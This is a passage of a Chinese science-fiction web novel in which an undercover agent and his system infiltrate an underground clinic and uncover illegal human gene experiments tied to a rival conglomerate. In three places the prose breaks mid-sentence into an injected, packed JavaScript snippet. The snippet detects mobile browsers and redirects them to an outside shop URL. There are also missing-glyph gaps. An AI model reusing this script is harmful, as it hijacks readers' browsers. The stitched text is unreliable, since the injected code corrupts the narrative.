里面是一个小型低温储存仓,透过仓壁能看见一管淡蓝色的药剂静静躺在恒温环境中,正是黑市上流通的劣化版基因缓释药剂。 毫无疑问,这就是多里安通过林琳转交的东西。 赵四小心地没有触动药剂,而是从存放低温仓的凹槽边缘,抽出了一张被仔细折叠成小块的纸条。 展开后,纸上是一个简略的行动计划,附带了一份基础的身份信息,这个身份是他们的人与黑诊所交易时使用的掩护。 与对方掮客的见面时间,就定在义诊当天的下午,赵四只需要按时前往,扮演此人即可。 纸条的背面,用极细的笔迹写着一个下城区的地址,那是多里安提前安排好的安全屋。 看回药剂,MK3000已经仔细扫描过一圈了。 【什么结果?】 MK3000:【药剂极端不稳定,需小心保存。 另外,表层扫描没有发现异常能量信号或外置芯片,但如果问题出在分子层面,比如特定同位素标记、或者某种生物特征编码,以我目前的扫描精度,无法在不破坏药剂的情况下完全确认。】 “特定同位素标记、或者某种生物特征编码”……这是典型的识别机制,MK3000的意思是,这玩意有可能不止是药剂,还可能就是和掮客见面时,充当定位器或者识别双方身份的“信物”? 明天他要带着这管药剂去见多里安提前约好的掮客吗? 15. 第15章 他心悖论15 不,不对,这个逻辑有一个漏洞。 哪怕与正版基因缓释剂相比,这种劣化版药剂的价格已被大幅压低,但对下城区的普通人而言,它仍然是昂贵、脆弱且难以保存的救命药。 拿这种稀缺又敏感的东西当信物,未免也太奢侈、太不稳定了。 还有一种可能。 【多里安的目的可能很纯粹……三儿,你忽略了他和林琳的身份。】 MK3000几乎与他同时反应过来:【多里安辗转把药剂送到你手上,是为了检测!】 没错。 多里安长期潜伏在下城区的暗面,林琳则固守在中城区宠物医院。 他们有能力触及样本,却都缺少一样关键的东西:一条能将这种极度敏感的黑市药剂,安全、隐蔽且不留痕迹地送进四方科技核心实验室的路径。 而赵四,恰好能补上这缺失的一环。 他是房馥臻,也是方复秦。 是能自由游走于三个城区,却不会引发额外怀疑的角色。 更重要的是,他是那个既有最高权限、又有能力调动资源将线索追查到底的人。 至于交接的时机,如果选在义诊现场或安全屋,不仅难以确保药剂的稳定保存,更会平添许多不必要的风险。 所以多里安才选择提前将东西交给林琳,方便赵四做之后的安排。 妥善收好那管药剂,又销毁了纸条,赵四看向窗外永恒明亮的霓虹灯海。 他在静待明天到来。 MK3000在疲惫值滴滴作响的后台警报声中给赵四刷了一条温馨提示。 【虽然很不想打扰你看风景,但你的生理指标显示,你该去吃药睡觉了。】 赵四那点刚酝酿出的意境被系统提示搅得稀碎。 【知道了知道了。】他叹了口气,语气里没有真的不耐烦,反而带着点认命般的妥协,【这就去。谢了,三儿。】 一夜无梦,休息充足。 第二天清晨,赵四切换为“方复秦”模式,拎着不知道是弟弟还是妹妹给他整理好的出诊箱,随着义诊团队登上了前往下城区的公共地铁。 车厢虽被包下,不见闲杂乘客,但空气里仍弥漫着一股难以名状的陈旧气味,仿佛这趟列车已经被地下世界的气息浸透了。 赵四站在车厢连接处,透过模糊不清的车窗向外望去。 粗大的管道、裸露的钢筋、斑驳的混凝土墙飞速倒退,偶尔视线中掠过几片暗淡的荧光涂鸦,像这片地底丛林中顽强滋生的苔藓。 光线始终昏暗,只有车厢内的照明和隧道壁上零星的应急灯提供着有限的光源,让这趟行程如同驶向地心深处某个被遗忘的裂隙。 当列车穿过一道厚重的隔断层时,短暂的失重感掠过全身,紧接着,一股混杂着明显湿气与金属锈蚀的特殊气味,无声地漫入了车厢。 赵四深深吸了口气,又缓缓吐出。 他知道,这代表着真正的下城区,到了。 ………… 医院被分配到的义诊点离目标诊所不远,设在一个废弃仓库改造的临时棚屋里。 照明全靠几盏便携式冷光灯,光线冷白而勉强,但前来候诊的人群依然排成长列。 他们大多衣着陈旧,神色间带着小心翼翼的期盼。 再度上岗的“方医生”坐在简易诊台后,为几位症状轻微的居民做了基础检查。 他一面操作,一面在脑内自嘲:【谁还记得我本质上是个兽医?】 现在竟然在这儿一本正经地给人看诊,像话吗? 在一旁提供着在线问诊支持的MK3000:【下城区的医疗资源极度稀缺,这边没人在意你持的是什么证,有人肯看诊就已经是运气了。】 好歹赵四还是个有(兽医)执照的正经医生,那些在黑诊所里,由毫无资质的“医生”接诊的病患,才是真正的“生死有命,富贵在天”。 义诊本身终究只是场政治秀,真正危重的病例根本进不了这个临时棚屋,因此赵四和MK3000搭配着干活,整个上午倒也应付得过去。 就这么混到午休时分,草草吃完配发的简餐。 赵四将空餐盒放回回收点时,察觉到一位同行医生借着递水的动作,将一台外壳磨损严重的老式终端悄无声息地塞进了他的衣兜。 将这张面孔记在心里,随后他以“出去透透气”为由,悄然离开了义诊点。 他先搭乘了下城区特有的不记名公共轨道车,那是一种噪音巨大的、颠簸不堪、仿佛随时会散架的悬吊式车厢,在低矮的穹顶下哐当作响地行驶。 远离义诊点所在的“门面”区域后,窗外那些勉强算规整的密集小楼逐渐消失。 取而代之的是发挥了人类极限想象力的、由各式各样废旧材料拼凑而成的栖身之所。 杂乱的电线如垂死的藤蔓般纠缠垂挂,以一种近乎野蛮的方式,将电力勉强送进每一片拥挤的棚户。 赵四眼角微跳:【这……安全吗?】 MK3000:【借用下城区某街区市政厅的经典回应:“有得用就得了”。】 意思是不安全。 赵四:【真是……别具一格。】 一人一统沉默地看着这片顽强而混乱的生存图景,没再交流。 在一个连站牌都没有的无名站台下车后,依靠导航,赵四独自在迷宫般的狭窄巷弄中穿行了近二十分钟。 巷道两侧的墙壁满是涂鸦和锈迹,头顶交错着各种用途不明的管道,不时滴落成分不明的粘稠液体。 他灵敏地一一避开,最终抵达了多里安提供的安全屋。 一扇仅用喷漆涂了句下城区粗俗俚语的小铁门,毫无特色地嵌在厚重的混凝土墙中。 手刚搭上门把,MK3000便无声地完成了权限认证。 “咔哒”一声轻响,门开了。 室内陈设简陋,但必需品一应俱全。 看完桌上摆着的更详细的身份设定,赵四拿起放在旁边的简易光学面具。 MK3000同步将使用说明投射在他的视野边缘。 这也是四方科技的黑科技产物之一,可惜维持时间短,且只能单次使用。 赵四迅速更换了随身物品与衣物,将面具贴合在脸上。 站在墙边那面布满划痕的穿衣镜前,镜中人的面容与气质已变得模糊而市井,混入下城区的人流绝不会引人注目。 确认外表伪装无误,赵四拿起那台老式终端。 这台终端的外表虽然陈旧,内部却经过特殊加密处理,任何反向定位尝试都只会指向虚无的假地址。 在下城区,这种程度的改装司空见惯,不会引发额外怀疑。 他翻到通讯记录里唯一的未署名联系人,直接拨通。 短暂的等待音后,一个沙哑的男声响起,只报出了一串简短的地标,通讯便□□脆切断。 赵四收起终端,没有半分迟疑推开安全屋的后门,他的身影重新没入下城区交错纵横的巷陌。 MK3000已将最佳路线在视野中标明,他沿着那无形的指引快步前行。 又过了二十多分钟,连续穿过数条堆满锈蚀零件与工业废料的窄巷,周遭环境愈发杂乱破败。 最终,他在一片由报废车辆残骸和扭曲金属板材胡乱堆积形成的、堪称“建筑奇观”的区域深处,找到了约定的碰头地点。 一个男人蹲在阴影里,指尖夹着的东西冒着一点猩红,听到脚步声靠近,他抬起了头。 这人外表平平无奇,属于扔进人堆里立刻会消失的类型。 但赵四的目光在他身上停顿了片刻。 从对方裸露在破旧外套外的小臂和脖颈处,那些清晰可见机械构件与生物组织粗糙接合的痕迹判断,这个男人的机械化改造程度非常高。 【故意不做仿生皮肤贴合,就这么露着接口……】赵四在脑内对MK3000说,【这人是地下诊所放出来的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066888|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体广告牌吧?】 MK3000:【他身上的义体型号其实相当老旧。能维持这种状态活着,要么是运气好到逆天,要么就是就是身上背着点说不清道不明的“门路”……可不就是块行走的招牌么。】 男人自称“老K”,警惕性很高。 即便赵四是按指引找来,他依然进行了多番试探。 赵四这次的扮演方向,是一个被逼到绝境的“前体面人”: 家里至亲重病,原本在上城区某企业的基层工作即将不保。 在积蓄耗尽,走投无路的情况下,他通过某个隐秘的“病友互助会”打听到下城区可能有路子。 回忆着多里安纸条上提供的细节,他调整了一下呼吸,让语气里带上一种强撑的镇定。 “是‘灰鸽’给我指的这条路,病友会里都这么叫他……具体是谁我也不清楚,只知道他消息挺灵通。” 老K浑浊的眼珠转动了一下,“灰鸽……他怎么跟你说的?” “也没说太细……就给了我一个大致的方向,说这块地方有人能弄到‘那种药’,让我自己来碰碰运气。还说……提他的名字,或许能少点麻烦。 赵四苦笑:“我这也是实在没办法了,才硬着头皮找过来。” 老K灭了手里的烟,没再追问代号的事。 他转而问道:“你家病人什么情况?需要这种药,那可不是小毛病。” 赵四早有准备,却也没说太细致。 他忧虑道:“是基因层面的代谢障碍……总之需要定期用缓释剂辅助清理。四方科技的正规药,一个月就得一支,实在是……负担不起了。” “那种病是烧钱,你之前用的什么牌子?” 赵四报出了一个基因缓释剂品牌名称,补充包装细节时,语气里泄露出掩饰不住的焦躁。 老K微微点头:“钱带够了吗?我们这不赊账。” 赵四连忙点头,又小心提起价格的问题。 老K给他比了个数。 赵四盯着那个数字,嘴唇无声地翕动了几下,像是在心里飞速盘算着所剩无几的积蓄。 他不安地在原地踱了两圈,又停下脚步,用舌尖舔了舔干裂的嘴唇。 “如果……如果价格真的像说的那么好,我想一次买三支。我家孩子要等不起了,来回跑风险也太大……” 听到“三支”这个数字,老K几不可察地顿了一下。 “我手头可没那么多现货。”他盯着赵四,说出口的话显得很有压迫感,“而且,你要三支……我凭什么信你?万一你是条子,或者别的什么人……” “我……我真不是!我可以给你看我的旧工作证!你相信我!” “在下城区,病历都能伪造,工作证算个屁——说说看,‘灰鸽’左手小指是不是缺了半截?” 赵四愣了一下,似乎在努力回忆,然后不太确定地说:“我没太注意他的手,我们就见过两次,都在比较暗的地方……好像他的动作是有点不太自然……我、我记不清了,我记不清了!” 他抓着头发,像是被逼到崩溃边缘,剧烈地喘息着蹲了下去。 老K又盯了他几秒钟,紧绷的肩膀终于松了些。 或许是他觉得赵四的反应没什么破绽,或许是被三支药剂的利润彻底诱惑。 “……行吧。”他终于松口,但警告意味不减,“但现货只有一支。你要另外两支,得跟我进去拿。” “还要……进去拿?” 赵四抬起头,脸上带着茫然和一丝不易察觉的惧意。 老K没搭理这句在他看来很蠢的问话,转身就走,只丢下一句警告:“进去后,不该问的别问,不该看的别看。跟紧点。” 他在巨大的废弃金属堆积区里熟练地绕了几次路,最终在一堆锈蚀板材后停下脚步。 一条狭窄得仅容一人侧身通过的缝隙显露出来,向内延伸,通往更深、更暗的所在。 地下诊所“蝰蛇”,近在眼前。 16. 第16章 他心悖论16 赵四脸上挂着混杂着紧绷和期盼的表情跟着老K往下走,逼仄的通道里,只有他们沉闷的脚步声传来隐约的回响。 MK3000:【刚才那段发挥不错,要不是知道你的底细,连我差点都信了你的表演。】 赵四很谦虚:【过奖,都是以前那么多任务里磨炼出来的基本功。】 讲道理,干他们这行的,只要入职时间够长,演技这块想不提升都难。 毕竟绝大多数世界对专员的“身份卡扮演度”都有硬性要求,演技对专员们来说算是工作所需的基本技能。 他们往下走了不短的一段路,但赵四能感觉到,这条通道并非一直向下,中间似乎还拐了几个平缓的弯。 当眼前终于出现一片略显开阔的空间时,他们才算真正抵达了地下诊所的核心区域。 这是一个被改造过的小型地下空间,看不出原本是用来干什么的。如今,几块巨大的防水帆布从天花板上垂落,粗糙地分割出几个功能区块。 门厅、诊室、手术角……老旧的医疗设备与不明杂物一同堆放在锈迹斑斑的金属架上。 空气里弥漫着消毒水刺鼻的气味,底下还隐隐浮动着一股更复杂、更难辨的陈腐气息。 乍一看,这确实像个典型的下城区黑诊所,简陋、混乱,却也勉强维持着最基本的医疗功能。 老K带着赵四在这片空间左绕右绕。 赵四的目光不安地四处打量,看似是被周围的环境吸引,实则却在快速搜寻MK3000接入此处网络需要的电子产品。 很快,他注意到一个不起眼的角落。 那里的墙上挂着一块仍在运作的老式电子屏,屏幕半明半暗,时而闪过模糊的雪花,有断续的文字在其中滚动。 屏幕旁,一个黑色路由器模样的盒子静静搁在架子上,一点幽绿的电源指示灯在昏暗里微微闪烁。 几根灰扑扑的网线随意缠绕连接着它,如同不合时宜的装饰。 【三儿,那个怎么样?】 MK3000:【可以试试。】 机会很快来了。 在经过那个角落时,赵四“不小心”被地上散乱的电线绊了一下,整个人向前踉跄。 为了稳住身体,他双手下意识地向前撑去,一只手正好按在了那个路由器的外壳上,另一只手则撑在了旁边的金属架子上,看起来狼狈不堪。 “看着点路!”老K不耐烦地回头。 “对、对不起!这地上太乱了……”赵四连忙道歉,他收回手艰难地站直身体,拍了拍手上的灰。 【接触成功,正在建立连接。】MK3000的声音几乎同时响起,【发现通往深层网络的加密节点,我需要点时间破解。】 赵四脸上依旧是那副惊魂未定的样子,心里默默给系统记上一功。 老K最终在一扇相对整洁的铁皮门前停下,他敲了敲门,里面传来一个冷淡的女声。 “进来。” 这个房间不大,更像一个简陋的办公室。 一个穿着白大褂、看起来大约三十多岁的女人坐在堆满杂物和纸张的桌子后面。 她抬头看了赵四一眼,眼神里充满了审视。 老K开门见山的说:“他要三支C型缓释剂。” 女人思索了一下,报了一个数字,比老K之前透的底价高出一小截。 她说:“一手交钱,一手交货。” 赵四脸上露出窘迫和焦急:“这……比我预想的贵太多了,我……我身上带的钱不够付三支……” “那就免谈。”女人重新看向手里的数据板,摆了摆手示意赵四出去。 “等等!”赵四急声道,声音发颤,“有没有……有没有别的办法?分期付款行吗?或者……我先买一支?我孩子真的等不了……求你了!” 绝望、恳求和希冀在他伪装后的脸上交织,这张简易光学面具的质量极佳,完美支撑住了他细微的表情变化。 室内空气沉寂下来,女人似乎在权衡什么。 最终,她冷声道:“你需要签一份数据反馈协议。签了之后,我们可以让你分期——第一期付七成,先拿一支;剩下的钱和药,等你下次带足钱和数据来换。” “数据?” “用药的人,服药后的任何反应,尤其是异常反应,无论好坏,都必须详细记录,定期交给我们,我们需要这些数据来优化产品。” 赵四犹豫着说:“花了这么多钱,万一……万一没效果怎么办?我听说,有些黑……有些地方的药,根本没用……” “不可能没效果。” 女人打断他,语气里是很明显的自傲。 “我们的产品是专门针对特定基因缺陷设计的,只要对症,就一定能缓解症状。当然……根治不了,但续命,够了。” 赵四像是被说服,又像是别无选择。 最终他咬着牙点了头,在女人推过来的一份简陋电子合同上,签下了伪造的名字和身份代码。 “在这等着,我去取货。” 女人起身,对房间里另一个穿着类似护工服装、眼神警惕的壮硕男人示意了一下,“看着他,别让他乱动。” 男人沉默的点头,像堵墙一样靠在门边,目光如炬。 女人离开,房门关上。 赵四表现得非常安分,他没试图做什么出格的事,只是一直在尝试跟老K搭话。 他的声音里充满了对药剂效果的忐忑,以及对自己这个冒险选择的深深不安。 老K对赵四的焦虑不甚在意,他敷衍地应付着,说着什么“放心,他们这儿的东西大家用了说好”之类的套话,心思已经不知道飘到了什么地方。 而赵四的大部分注意力,早已集中在了MK3000同步传来的声音片段上。 这地方虽然隐蔽,但内部监控和安防设备倒是齐全,很是方便了系统进行隐蔽的信息收集。 脚步声、另一道门开启的电子音、向下的脚步声、更深处传来的模糊对话…… MK3000将处理后的关键对话,清晰地投射在赵四的专员面板上: 女人冷淡的声音:“……新客户,要三支C型缓释剂,分期,签了反馈协议……嗯,先给一支,筛查过了,底子干净。但不能放松,派人去跟一段,看看具体情况,防止出问题。” 一个略显焦急的男声:“……‘主家’又在催进度了!新一批受试者的排异数据非常不稳定,反馈回来的副作用报告比上一批还糟糕!” 女人:“催也没用!现在加速就是找死!研究进度不乐观是事实,但贸然推进,出了大规模崩溃事故,谁去跟‘主家’交代?你吗?” 男声:“……可是……” 女人:“没什么可是!先给上面等着的新客户一支稳定版的C型,看看反馈数据再说。至于‘主家’……先稳住‘主家’那边,就说我们在优化配方,需要更多临床反馈……” 对话逐渐模糊,但关键信息已经足够。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066889|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这不只是个黑市销售点。 它的下面,藏着一个正在运作的、非法的人体实验研究室。 所谓的“劣化版基因缓释剂”,实际上是他们用“受试者”测试出来的、极端不稳定的“未完成品”。 而那个神秘的“主家”,则在背后提供支持,不断催促着危险的研究进度。 这时,MK3000传来另一条信息:【从本地网络下载的未加密文件中,发现部分实验日志摘要和物资申领清单。】 日志提及“受试者批次编号”和“阶段性生理数据采集”。 申领物品中则包括高精度基因编辑仪配件、特种培养液、以及大量镇静剂和生命维持设备等物品。 赵四在心底冷笑一声:【虽然有所猜测,但是这家研究所……真是不太干人事。】 女人很快回来了,手里拿着一个不起眼的低温储存盒。 赵四付了钱,动作小心翼翼地接过那个小小的盒子,然后把它紧紧攥在手里。 “记住,”女人最后提醒,“下次来,带上反馈数据。” 赵四连连点头,将药剂贴身仔细收好,仿佛抓住了救命的稻草。 他跟着沉默的老K,沿着那条通道,原路离开了这座隐藏在地下的黑诊所。 当混杂着尘埃、废气与远处隐约噪音的空气涌入肺部时,赵四竟有种微妙的类似重见天日的感觉。 老K连声招呼都没打,身影一晃,便迅速消失在前面错综复杂的巷道深处,大概是急着去领他那份佣金。 赵四没有立刻离开。 他像任何一个刚刚完成一笔秘密交易、心有余悸的普通人那样,警觉地四下扫视了一番,确认周围“还算安全”后,才裹紧了外套,低下头,加快脚步远离这片是非之地。 不远处,两个负责跟踪的家伙缀了他一段路。 见赵四迅速离开诊所范围,步伐也未显异常,两人便在对视一眼后默契地停下了脚步。 ——他们只是例行确认这个“新客户”不会立刻惹麻烦,任务就算完成。 【尾巴撤了。】 MK3000确认道,【看来诊所那边只是走个过场,暂时没起疑。】 赵四不动声色地点了点头,脚步未停。 多年任务养成的谨慎习惯让他在混乱地带多绕了几圈,才悄无声息地回到了多里安安排的那间安全屋。 将交易得来的药剂和旧终端一并放在了桌子上,赵四迅速卸下伪装。 光学面具取下,衣物更换回来,属于“方复秦”温和散漫的气质重新回到了身上。 仔细检查周身,确认没有留下任何可能暴露的痕迹,他才再度推门离开。 当赵四回到那个义诊点时,棚屋内排队的人已稀疏了许多。 赵四一眼就看见了林琳,她正站在几个医生旁边低声交谈,身侧是几名身着四方科技制服的工作人员在清点回收的医疗器械。 赵四脚步自然地走过去,恰如其分地加入了医生们的对话。 当林琳的目光转过来时,他朝她极轻地点了下头。 没有人对他下午的离开表示疑问,所有人的注意力都集中在收尾工作上。 清点物资、整理记录、安排转运,空气中弥漫着任务即将结束的松弛感。 半小时后,这支圆满完成任务的义诊团队登上了返回中城区的地铁车厢。 赵四找了个靠窗的位置坐下,地铁缓缓启动,将下城区那片被阴影覆盖的图景逐渐抛在身后。 17. 第17章 他心悖论17 当晚,新世界第十七宠物医院,院长休息室。 【其实方复秦这个身份在院外有固定住所。】 MK3000在赵四舒展身体时提醒道,【档案显示,位于医院附近的‘绿荫公寓’有一套登记在他名下的两居室,你需要过去看看吗?】 赵四解开领口最上方的扣子,长长吐出一口气,将自己摔进那张不算柔软但足够支撑疲惫身体的床上。 【暂时没必要。】他在意识中回应,声音带着明显的倦意,【如果只是休息,这里足够。如果是想挖掘身份线索……以‘房馥臻’现在这种双线作战的忙碌程度,我不认为他会把宝贵时间浪费在‘回家’这种仪式感上。】 即便他真的去了那间公寓,大概率也只会像这间休息室一样,看到一个标准、整洁、却缺乏生活痕迹的样板间。 一个符合“方复秦”人设,却未必藏有任务关键线索的地方。 当然,这不代表他会完全忽略这个地点。 若任务陷入僵局,那间公寓或许会成为必须探查的备用选项。 至于现在…… 赵四对“房馥臻”这具身体的虚弱有了更切身的体会。 今天的活动量对他本体而言不值一提,但对这具身份卡而言,持续的高强度伪装、精神紧绷与体力消耗,让这张身份卡的疲惫值警告直接被戳爆了。 赵四逐渐开始熟练地无视了疲惫值警告,转而将注意力投向更紧要的方向。 他戳戳MK3000。 【比起这个,诊所那边后续情况如何?】 是的, MK3000对网络接管并不是一次性的,那是一个持续的过程。 从赵四离开诊所到现在,所有进出下方研究所人员的通讯、内部对话、监控影像, MK3000都在同步记录。 数据在无声涌动、筛选、打包。 几分钟后,一个经过初步整理的数据包上传了赵四的专员面板。 MK3000:【要现在看吗?】 【嗯,就当睡前电影了,希望这部电影的剧情足够精彩。】 材料已经被MK3000处理过,画面被贴心地分割为几个区域。 左侧是经过降噪与清晰化处理的静态监控图像,右侧是对应的音频波形图与文字转录,中央则是MK3000实时提取并标注的关键信息摘要。 赵四的目光首先落在那些图像上。 画面中的环境远比他亲身经历的“诊所”前台区域要规整得多,那是一间符合标准生物安全级别的实验室。 目之所及处,无缝的浅灰抗菌板材铺满整个墙面和地板,一排排操作台沿墙排列,上面分类摆放着各类精密仪器,通风系统嗡鸣维持着整体环境的稳定。 研究人员们穿着统一浅蓝色防护服,安静而迅速的处理着属于自己的工作。 一切都显得过于井然有序,洁净、专业、高效,完全符合一个正规高端研发机构的标准作业场景。 那些昂贵的仪器设备外壳上都清晰蚀刻着“四方科技”特有的菱形防伪徽标与资产编号,看着这些,赵四几乎要产生某种荒谬的错觉—— 仿佛自己并非在窥探一个藏匿于下城区废墟下的非法据点,而是通过监控,实时观察着四方科技总部下属某个核心实验室的日常运作。 这种诡异的既视感很快被画面中人物的对话打破。 几个穿着防护服的、研究员模样的人正聚在一起,压低声音抱怨着: “……又催!数据波动曲线明明显示需要观察期,强行推进只会增加受试者风险!‘主家’到底知不知道‘风险’两个字怎么写?!” “……他们根本不在乎,他们只要结果,越快越好的‘结果’!” “斯特林女士今天巡查的时候,脸色难看得吓人……可我们能怎么办?基础架构还是基于四方科技十几年前的公开模型逆向推出来的,现在人家早就不知道迭代多少次了!” “我们连模仿都漏洞百出,上面居然要求‘实现成本降低百分之三十,效果提升百分之十五’的‘突破性进展’?这简直……这简直……” “唉……四方科技在这个领域的积累是垄断级的……我们这刚刚组建没几年的地下作坊,拿什么去‘突破’?斯特林女士自己都束手无策……” 短暂的沉默,只有设备运行的低沉嗡鸣在背景中持续。 接着,那个白天与赵四交易的女人身影出现在画面边缘,她的声音冷静却带着不容置疑的压力。 “抱怨解决不了问题,‘主家’的耐心有限,时间表不可能再推迟。斯特林女士并非没有其他考量……我们还有一条潜在的路径。” 刚才还在抱怨的研究员们立刻围拢过去,语气急切:“路径?什么路径?” “小少爷那边……最近传回消息,他或许有办法,接触到一些四方科技内部的……非公开研究资料。再等一等,也许会有转机。” 说完女人便转身离开,留下几个研究员面面相觑。 “非、非公开研究资料啊……” “你知道点什么?” “……这里还有谁不知道吗?” 几人交换了一个心照不宣的眼神,带着复杂的神情各自散开,回到工作岗位。 这段监控片段结束,系统自动跳转到下一段,那似乎是稍晚些时候,几个研究员在数据录入间隙的闲聊: “……哈,小少爷的‘渠道’?得了吧,这儿又没外人,你跟我还装什么糊涂。 谁不知道上头是指望咱们那位金枝玉叶的小少爷,使点儿‘美人计’,从他那位‘四方科技高层男朋友’枕头边上,套点儿真东西出来?” “我不是装糊涂!我是觉得这计划听着太离谱……先不说小少爷那男朋友——你们应该都看新闻了,都知道是谁吧——会不会被感情冲昏头脑到那种地步,就算突然恋爱脑发作,什么都愿意给了,他一个区域总裁,真能接触到这么核心的机密?” “好了好了,听说那位‘男朋友’背景也不简单,小少爷既然去了,总归是有点希望,要真有资料来,总比现在瞎摸索强。” “但愿吧,不过现在嘛……还是老老实实折腾咱们的‘小白鼠’实在。” 后续的内容多是技术讨论和日常抱怨,再无更多情报价值。 赵四示意MK3000停止播放。 光屏暗下,休息室重归昏暗,只有窗外中城区永不熄灭的霓虹微光渗入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066890|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵四缓缓吐出一口气,靠在床头,闭目消化着刚才的信息。 “小少爷”与“四方科技高层男朋友”……关键词的指向性过于明确了。 这组合在整个上城区的社交圈与花边新闻里,都堪称独一份的“景观”,赵四几乎立刻就对上了号。 洛伦·艾克,环宇集团的小少爷。 以及他那神秘的、来自四方科技高层的恋人——他的总裁朋友居安新。 现在,这桩带着粉红色泡沫和争议的恋情,以堪称尖锐的方式,与下城区肮脏的非法实验纠缠在一起,染上了阴谋与背叛的底色。 能将地下研究所伪装成近乎四方科技正规实验室的规格,能调动环宇集团的继承人充当商业间谍,甚至能让议会对这种非法药剂的流通采取暧昧态度…… 蝰蛇背后“主家”的能量与身份,几乎已呼之欲出。 除了环宇集团,赵四想不出第二个答案。 那么,环宇集团不惜铤而走险,私下研制基因药剂,目的究竟是什么? 是为了争夺四方科技的市场份额? 这个可能性存在,但赵四认为微乎其微。 在新世界,几大集团早已划定了各自的势力范围,形成了某种脆弱而持久的平衡,生物医药与尖端义体是四方科技不可动摇的根基。 环宇若贸然将手伸进这片早已被标记的领地,很可能引发的不是商业竞争,而是所有既得利益者的警惕与联合围剿。 那时候环宇将要对抗的将是整个新世界,环宇的高层不会不明白这个道理。 那么,必然有其他更迫切、更深层的原因,驱动着他们进行如此危险的实验。 【我有点想念我的‘总裁朋友’了。】 尤其想念居安新可能掌握的关于洛伦·艾克、关于环宇的更多信息。 还有对居安新那个“背景不简单”的评价,也实在让人有点在意。 MK3000立刻领会了他的意图,【需要我现在就联络居安新,敲定会面时间,并同步通知赛琳娜,为‘房馥臻’的日程预留出空档,以便你以‘方复秦’的身份去‘拜访朋友’吗?】 【就这么办,现在联系。】赵四的决定下的很快,【这事宜早不宜迟。】 MK3000:【收到。另外,专员,你真的该休息了。】 【这就睡。】 正事安排妥当,强烈的疲惫感终于压倒性地袭来。 就在意识即将彻底涣散的边缘,一个被暂时搁置的念头却顽强地浮了上来,如同深水中的气泡、乐章中的不和谐音一样不容忽视。 之前系统给他画过饼,但因受限于“方复秦”的身份与资源而搁置的那件事,好像可以提上日程了。 “真假少爷”的任务提示始终悬在心头,这条线继续推进下去是件好事。 他挣扎着在睡梦的边界挤出最后一点清明,含糊地低语:【三儿……洛伦和他父母的……基因比对……该提上日程了……】 MK3000:【放心,已经安排上了,这项检测将通过房馥臻权限下的非公开渠道进行。】 太靠谱了,MK3000。 最后一丝牵挂放下,赵四的意识彻底沉入了无梦的深眠。 18. 第18章 他心悖论18 作为朋友,居安新并不难约。 翌日下午,中城区一家以复古机械风格为特色的咖啡馆。 赵四提前抵达,选了靠窗的座位。 当居安新推门而入时,他一眼便看到了对方。 居大总裁今日一身剪裁考究的深灰色风衣,身形依旧挺拔,但眉眼间挥之不去的倦色,为他那份英俊平添了几分颓靡。 赵四看着他走近,心中不由泛起一丝复杂的感慨。 是的,赵四已经知道为什么一个住在住在浮空城生态区的四方科技区域总裁,会和一个中城区的兽医有交情了。 那根本不是什么巧合或缘分。 【我还是觉得房馥臻这人太极端了。】MK3000翻看着房馥臻和居安新的认识始终,有点惊叹,【为了创造一个合理的相识契机,他竟然雇佣了‘人类赎罪派’的人,特意安排了一场针对居安新的袭击。】 还记得吗,中城区的地区特色之一——教团,各种各样的教团。 此前的“人类主义纯净派”只是冰山一角,而被房馥臻选中的“人类赎罪派”,则奉行着另一套理念: 他们认为人生而有罪,需通过□□的痛苦与磨砺来净化灵魂。每逢特定活动日,便会随机“抽取”路人进行“净化仪式”。 那一天,恰好在第十七街区出差的居安新,就成了被房馥臻通过特殊渠道、悄悄塞进净化名单的“幸运儿”。 别问为什么居安新身边没有足够的安保力量,问就是房馥臻技高一筹,让所有意外发生的都恰到好处。 总之,在一番堪称惊心动魄的混乱之后,受伤的居安新被闻讯赶来的联防局人员救出,并送往了当时十七街区医疗条件最完善的机构,也就是新世界第十七街区宠物医院。 巧合的是,那天医院异常忙碌。 而恰好在岗、又恰好比较清闲的院长方复秦,便顺理成章地接下了这位特殊病人的部分日常照料工作。 几天接触下来,“温和耐心”、“专业可靠”且与他的世界毫无瓜葛的方医生,便成了居安新在紧张工作与复杂人际之外,一个可以放松交谈的朋友。 于是,当安安出事,心慌意乱的居安新第一时间想到的求助对象,自然就是这位恰好是兽医的贴心好友。 这是什么,这就是命运的回响啊! 对此,赵四只能微笑以对了。 房馥臻,看看你干的好事。 然后他想到了自己要干什么——能轻易接触到居安新,是“房馥臻”提前打下的好基础。 赵四不由夸道:【房馥臻,你干得好啊。】 唯一一个能听见赵四态度一百八十度大转弯的MK3000,一时间不知道需不需要夸专员一句能屈能伸。 此时,居安新已走到桌边。 即便带着倦容,他无意识间流露出的气场依然让周围不少人侧目。 